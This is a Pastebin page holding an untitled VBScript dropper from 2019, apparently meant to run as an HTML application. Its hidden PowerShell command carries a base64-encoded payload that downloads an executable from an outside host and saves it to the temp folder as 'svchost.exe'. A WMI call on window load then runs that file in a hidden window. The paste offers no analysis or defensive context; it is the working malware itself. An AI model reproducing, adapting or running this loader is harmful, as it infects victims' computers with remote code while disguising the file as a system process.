G2A Many GEOs
SHARE
TWEET

Untitled

a guest Apr 15th, 2019 362 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script language="VBScript">
  2.     Function var_Rname()
  3.         Dim Gponica
  4.         Set Gponica = CreateObject("Wscript.Shell")
  5.         temp = Gponica.expandEnvironmentStrings("%temp%")
  6.         Gponica.run "powershell.exe -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAGsAcgBvAHMAbgBvAHYAdQBuAGQAZQByAGcAcgBvAHUAbgBkAC4AcwBlAC8AcwBtAGYAYgBrAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AHQAZQBtAHAAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApACkAOwA=", 0, true
  7.     End Function
  8.     Sub window_onload
  9.     const impersonation = 3
  10.     Const HIDDEN_WINDOW = 12
  11.     Set Locator = CreateObject("WbemScripting.SWbemLocator")
  12.     Set Service = Locator.ConnectServer()
  13.     Service.Security_.ImpersonationLevel=impersonation
  14.     Set objStartup = Service.Get("Win32_ProcessStartup")
  15.     Set objConfig = objStartup.SpawnInstance_
  16.     objConfig.ShowWindow = HIDDEN_WINDOW
  17.     Set Process = Service.Get("Win32_Process") 
  18.         Error = Process.Create("cmd /c %temp%\svchost.exe", null, objConfig, intProcessID)
  19.     window.close()
  20. end sub
  21.    
  22.  
  23.     var_Rname
  24.     self.close
  25. </script>
RAW Paste Data
Ledger Nano X - The secure hardware wallet
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top